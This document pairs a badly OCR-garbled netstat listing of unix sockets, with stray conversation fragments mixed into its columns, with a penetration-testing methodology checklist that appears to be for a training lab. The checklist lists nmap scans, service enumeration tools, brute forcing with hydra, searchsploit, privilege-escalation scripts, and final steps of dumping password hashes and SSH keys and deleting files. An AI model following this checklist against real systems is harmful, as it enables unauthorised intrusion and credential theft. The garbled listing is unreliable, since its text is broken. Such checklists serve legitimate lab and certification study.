unix	3	[]	STREAM	CONNECTED	22100	@/tmp/.X11-unix/X0
unix	3	[ ]	STREAM	CONNECTED	21598	@/tmp/dbus-pmtrmqSxLO
unix	3	Ĺĺ	STREAM	CONNECTED	15774	/run/systemd/journal/stdout
unix	3		STREAM	CONNECTED	19370	/var/run/dbus/system_bus_socket
unix	3	it ld her	STREAM	CONNECTED	22090	
unix	3	[]	STREAM	CONNECTED	21653	
unix	3	î i	STREAM	CONNECTED	17594	see if you can get that root the system and
unix	3	[a]ny que	STREAM	CONNECTED	18493	
unix	3	ĨĨ	STREAM	CONNECTED	22230	II nonmore and beat?
unix	3	Ĺĺ	STREAM	CONNECTED	21772	@/tmp/dbus-pmtrmgSxLO
unix	3	Ĺĺ	STREAM	CONNECTED	21183	
unix	3	Ĺĺ	STREAM	CONNECTED	21825	
unix	3	Îdîra v	STREAM	CONNECTED	21832	a/tmp/dbus-pmtrmqSxL0
unix	3	[]	STREAM	CONNECTED	22037	@/tmp/dbus-pmtrmgSxLO
unix	3	įcjamput	STREAM	CONNECTED	21581	@/tmp/dbus-INTtRPfIPF
unix	3	Ϊĺ	STREAM	CONNECTED	17669	/var/run/dbus/system_bus_socket
unix	3	Ϊĺ	DGRAM		15064	
unix	3	Ϊĺ	STREAM	CONNECTED	22130	3 3 3
unix	3	ii	STREAM	CONNECTED	21826	@/tmp/dbus-pmtrmqSxLO
unix	3	îí	DGRAM		15065	

unix	2	[ ]	DGRAM		27328	
unix	3	[ ]	STREAM	CONNECTED	14586	
unix	3	[ ]	STREAM	CONNECTED	22033	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	STREAM	CONNECTED	21800	
unix	3	[ ]	STREAM	CONNECTED	22343	/run/systemd/journal/stdout
unix	3	[ ]	STREAM	CONNECTED	22129	@/tmp/dbus-INTtRPfIPF
unix	3	į j	STREAM	CONNECTED	18316	/run/systemd/journal/stdout
unix	3	į j	STREAM	CONNECTED	22231	/run/systemd/journal/stdout
unix	3	î j	STREAM	CONNECTED	21571	/run/systemd/journal/stdout
unix	3	i i	STREAM	CONNECTED	21835	Control (Co. Marcon Control Co
unix	3	i i	STREAM	CONNECTED	18315	
unix	3	i i	STREAM	CONNECTED	21803	
unix	2	i i	STREAM	CONNECTED	27325	AAN V V V
unix	2	i i	DGRAM		17562	
unix	3	i i	STREAM	CONNECTED	22354	/var/run/dbus/system_bus_socket
unix	3	ii	STREAM	CONNECTED	19369	/ Y01/ 101/ 0003/ 5/30011_505_3001100
unix	3	i i	STREAM	CONNECTED	22131	@/tmp/dbus-pmtrmqSxLO
unix	3	i i	STREAM	CONNECTED	21605	/run/systemd/journal/stdout
unix	2	i i	DGRAM	COMMILCIED	27089	/ Tully Systema your nate stadat
unix	2	įί	DGRAM		18491	
unix	3	i i	STREAM	CONNECTED	22235	
unix	3	i i	STREAM	CONNECTED	21771	
unix	3	i i	STREAM	CONNECTED	14851	/run/systemd/journal/stdout
unix	3	i i	STREAM	CONNECTED	22089	@/tmp/dbus-pmtrmqSxLO
unix	3				21568	W/ Chip/ dods-phicringsxco
		[ ]	STREAM	CONNECTED		
unix	3	[ ]	STREAM	CONNECTED	22339	
unix	3	į į	STREAM	CONNECTED	22124	
unix	3	[ ]	STREAM	CONNECTED	20582	5 74 50 0 0
unix	3	". [1] Iook	STREAM	CONNECTED	22093	all the property of the stand you w
unix	3	[ ]	STREAM	CONNECTED	21646	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	STREAM	CONNECTED	21454	@/tmp/.X11-unix/X0
unix	3	[ ]	STREAM	CONNECTED	18189	/run/systemd/journal/stdout
unix	3	î î	STREAM	CONNECTED	21769	
unix	3	. [ ]	STREAM	CONNECTED	21597	any computer in the system. We'd
unix	3	1 1	STREAM	CONNECTED	27234	
unix	3	s ngga ner	STREAM	CONNECTED	18304	se and you were getting real bold t
unix	3	n [ ] a No	STREAM	CONNECTED	22135	@/tmp/.X11-unix/X0
unix	3	[ ]	STREAM	CONNECTED	20326	t around their common to. If you have been
unix	3	ren <b>ish</b> da	STREAM	CONNECTED	21397	oneed the answer to, if you're fuc-
unix	3	[ ]	STREAM	CONNECTED	21654	II neoners and beef."
unix		[ ]	STREAM	CONNECTED	22125	/run/user/108/pulse/native
unix	3	[ ]	STREAM	CONNECTED	22107	/run/user/108/pulse/native
unix	3	[ ]	STREAM	CONNECTED	22032	41 87 AM
unix	3	-"1 <b>i j</b>	STREAM	CONNECTED	22122	the device they are talking about o
unix	3	[ ]	STREAM	CONNECTED	21603	
unix	3	[ ] mrbn	STREAM	CONNECTED	18496	on the main deck if you need us!
unix	3	[ ]	STREAM	CONNECTED	22145	/var/run/dbus/system_bus_socket
unix	2	[ ]	DGRAM		21281	DAING DAILS AND
unix	3	[ ]	STREAM	CONNECTED	22103	@/tmp/dbus-pmtrmqSxLO
unix	3	[ ]	STREAM	CONNECTED	21589	@/tmp/.X11-unix/X0
unix	3	[ ]	STREAM	CONNECTED	22091	/var/run/dbus/system_bus_socket

unix	3 [	1	STREAM	CONNECTED	17566	/run/systemd/journal/stdout
unix		i	STREAM	CONNECTED	21335	
unix	3 Ē	i	STREAM	CONNECTED	22136	
unix	j E	i	STREAM	CONNECTED	21770	/var/run/dbus/system_bus_socket
unix	3 Ē	i	STREAM	CONNECTED	20583	/var/run/dbus/system_bus_socket
unix	3 Ē	i	STREAM	CONNECTED	21608	@/tmp/dbus-pmtrmqSxLO
unix	3 [	i	STREAM	CONNECTED	21453	
unix	3 1	i	STREAM	CONNECTED	27179	
unix	3 1	i	STREAM	CONNECTED	18659	/run/systemd/journal/stdout
unix	3 [	i	STREAM	CONNECTED	22134	, , , , , , , , , , , , , , , , , , , ,
unix		i	STREAM	CONNECTED	20594	/run/systemd/journal/stdout
unix		i	STREAM	CONNECTED	21569	/run/systemd/journal/stdout
unix	2 [	i	DGRAM		14640	, ran, ayarama, yaarnar, araaar
unix	š į	i	STREAM	CONNECTED	22236	/var/run/dbus/system_bus_socket
unix	j E	i	STREAM	CONNECTED	17503	, 101/101/0000/0/0101_000_000100
unix	3 [	i	STREAM	CONNECTED	21336	
unix	3 [	i	STREAM	CONNECTED	18494	
unix	3 [		STREAM	CONNECTED	22094	/var/run/dbus/system_bus_socket
unix	3 [		STREAM	CONNECTED	21607	/ var/ ran/ abas/ by seem_bas_soekee
unix	2 [	1	DGRAM	COMMECTED	17663	
unix	2 [	1	DGRAM		27185	
unix	3 [	1	STREAM	CONNECTED	21656	/run/systemd/journal/stdout
unix	į ε	i	STREAM	CONNECTED	22102	/ Lany Systema / Journa cy Staduc
unix	3 [	1	STREAM	CONNECTED	17389	
unix	2 [	1	DGRAM	COMMECTED	27195	
unix	3 [	1	STREAM	CONNECTED	18305	/run/systemd/journal/stdout
unix	3 [	1	STREAM	CONNECTED	22144	/ Tull/ Systema/ Judinat/ Studet
unix	3 [	1	STREAM	CONNECTED	21184	/var/run/dbus/system_bus_socket
unix		i loot	STREAM	CONNECTED	21570	/ vai/ tull/ dods/ system_bds_socket
unix	2 [	1001	DGRAM	COMMECTED	16944	it time, a more minutes and
unix	3 [	i	STREAM	CONNECTED	22353	ie garbage:"
unix	iε	1	STREAM	CONNECTED	19357	/run/systemd/journal/stdout
unix	i E	1	STREAM	CONNECTED	22137	/var/run/dbus/system_bus_socket
unix	3 [	1	STREAM	CONNECTED	21804	/var/run/dbus/system_bus_socket
unix	3	青1 told	STREAM	CONNECTED	21138	/ var/ ran/ abas/ system_bas_socket
unix	2 [	i	DGRAM	COMMECTED	14488	a and you were cetting real
unix	3 [	1	STREAM	CONNECTED	21606	/run/systemd/journal/stdout
unix	3 [	1	STREAM	CONNECTED	17666	/ Lan/ 3/3 centar Journal of School
unix	3 [	i w mae	STREAM	CONNECTED	22123	@/tmp/dbus-pmtrmqSxLO
unix	3 [	1	STREAM	CONNECTED	22088	W/ chip/ dodd/ pintrindoxed
unix	3 [	1	STREAM	CONNECTED	21602	r peppers and beet
unix	3 [	1	STREAM	CONNECTED	23130	/var/run/dbus/system_bus_socket
unix	3 [	1	STREAM	CONNECTED	19389	/var/run/dbus/system_bus_socket
unix	3 [	i la v	STREAM	CONNECTED	19872	/ tar/ran/ abas/ system_bas_socket
unix	3 [		STREAM	CONNECTED	21274	he device they are tarking at
unix	3 [	1 1 mout	STREAM	CONNECTED	20021	/run/systemd/journal/stdout
unix	3 [	1	STREAM	CONNECTED	21841	a/tmp/.X11-unix/X0
unix	3 [	1	STREAM	CONNECTED	21440	W/ CHP/ • ATT UITA/ AV
unix		1	DGRAM	COMMECTED	15780	
unix		1	STREAM	CONNECTED	21657	/run/systemd/journal/stdout
unix	3 [	1	STREAM	CONNECTED	21820	/ Lan/ Systema/ Journal/ Studet
dility	- L	- <b>J</b>	O INCAME	COMMICCIED	21020	

unix	3 [ ]	STREAM	CONNECTED	23144	ALT VOTE - Section VISTO XX
unix	3 [ ]	STREAM	CONNECTED	20085	/var/run/dbus/system_bus_socket
unix	3 [ ]	STREAM	CONNECTED	21808	@/tmp/dbus-pmtrmqSxLO
unix	3 []	STREAM	CONNECTED	21744	/var/run/dbus/system_bus_socket
unix	2 [ ]	DGRAM		15775	
unix	3 [ ]	STREAM	CONNECTED	21870	
unix	3 [ ]	STREAM	CONNECTED	21662	
unix	3 [ ]	STREAM	CONNECTED	21818	
unix	3 [ ]	STREAM	CONNECTED	22108	
unix	3 [ ]	STREAM	CONNECTED	17668	/var/run/dbus/system_bus_socket
unix	2 []	STREAM	CONNECTED	23150	
unix	2 []	STREAM	CONNECTED	18854	/var/run/dbus/system_bus_socket
unix	3 []	STREAM	CONNECTED	21848	
unix	3 [ ]	STREAM	CONNECTED	23043	/run/systemd/journal/stdout
unix	3 [ ]	DGRAM		15781	
unix	3 [ ]	STREAM	CONNECTED	21278	/run/systemd/journal/stdout
unix	3 [ ]	STREAM	CONNECTED	22104	
unix	3 [ ]	STREAM	CONNECTED	22113	@/tmp/dbus-INTtRPfIPF
unix	3 []	STREAM	CONNECTED	21840	
unix	3 [ ]	STREAM	CONNECTED	23129	
unix	3 [ ]	STREAM	CONNECTED	21674	/var/run/dbus/system_bus_socket
unix	3 [ ]	STREAM	CONNECTED	17667	
unix	2 [ ]	DGRAM		22448	
unix	3 [ ]	STREAM	CONNECTED	21559	@/tmp/dbus-INTtRPfIPF
unix	3 []	STREAM	CONNECTED	19388	
unix	3 [ ]	STREAM	CONNECTED	21877	a/tmp/dbus-INTtRPfIPF
unix	3 [ ]	STREAM	CONNECTED	22112	
unix	3 [ ]	STREAM	CONNECTED	21847	
unix	2 [ ]	STREAM	CONNECTED	23137	
unix	3 []	STREAM	CONNECTED	18673	ut time. 3 more minutes and you
unix	3 [ ]	STREAM	CONNECTED	23124	/run/systemd/journal/stdout
unix	3 [ ]	DGRAM		21889	ne garnage:
unix	3 []	STREAM	CONNECTED	21867	/var/run/dbus/system_bus_socket
unix		DGRAM		17588	
unix	3 [ ]	STREAM	CONNECTED	23123	any computer in the system. We
unix	3 [ ]	DGRAM		15782	any companer in the systems we
unix	3 [ ]	DGRAM		21888	se and you were getting real bol-
unix	3 [ ]	STREAM	CONNECTED	23145	/var/run/dbus/system_bus_socket
unix	3 [ ]	STREAM	CONNECTED	21821	@/tmp/dbus-pmtrmqSxLO
unix	3 []	STREAM	CONNECTED	19873	/run/systemd/journal/stdout
unix	3 [ ]	STREAM	CONNECTED	22109	/run/user/108/pulse/native
unix	3 [ ]	STREAM	CONNECTED	18657	/var/run/dbus/system_bus_socket
unix	3 [ ]	STREAM	CONNECTED	21871	@/tmp/dbus-pmtrmqSxLO
unix	3 [ ]	STREAM	CONNECTED	23148	est to the state of the state o
unix	3 [ ]	DGRAM		15779	be delice they are talking about
unix	3 [ ]	STREAM	CONNECTED	21819	/var/run/dbus/system_bus_socket
unix	3 [ ]	STREAM	CONNECTED	18674	/var/run/dbus/system_bus_socket
unix	3 [ ]	STREAM	CONNECTED	21663	@/tmp/dbus-pmtrmqSxLO
unix	3 [ j 3 [ ]	STREAM	CONNECTED	20015	
unix	3 [ ]	STREAM	CONNECTED	18578	himists"
unix	3 [ ]	STREAM	CONNECTED	21673	- Constitution

# Methodology

Network Scanning
<ul> <li>□ nmap -sn 10.11.1.*</li> <li>□ nmap -sL 10.11.1.*</li> <li>□ nbtscan -r 10.11.1.0/24</li> <li>□ smbtree</li> </ul>
Individual Host Scanning
<ul> <li>□ nmaptop-ports 20open -iL iplist.txt</li> <li>□ nmap -sS -A -sV -O -p- ipaddress</li> <li>□ nmap -sU ipaddress</li> </ul>
Service Scanning
WebApp  □ Nikto □ dirb □ dirb □ dirbuster □ wpscan □ dotdotpwn □ view source □ davtest\cadevar □ droopscan □ joomscan □ LFI\RFI Test
Linux\Windows  □ snmpwalk -c public -v1 ipaddress 1 □ smbclient -L //ipaddress □ showmount -e ipaddress port □ rpcinfo □ Enum4Linux
Anything Else  □ nmap scripts (locate *nse*   grep servicename)  □ hydra □ MSF Aux Modules □ Download the softward
Exploitation  ☐ Gather Version Numbes ☐ Searchsploit ☐ Default Creds ☐ Creds Previously Gathered ☐ Download the software
Post Exploitation
Linux  linux-local-enum.sh  linuxprivchecker.py  linux-exploit-suggestor.sh  unix-privesc-check.py
Windows
<ul><li>□ wpc.exe</li><li>□ windows-exploit-suggestor.py</li><li>□ windows privesc check.py</li></ul>

	□ windows-privesc-check2.exe							
Priv Escalation								
	acesss internal services (portfwd)							
	add account							
Windo	ows							
	List of exploits							
Linux								
	sudo su							
	KernelDB							
	Searchsploit							
<u>Final</u>								
$\square$	Screenshot of IPConfig\WhoamI							
$\square$	Copy proof.txt							
	Dump hashes							
	Dump SSH Keys							
	Delete files							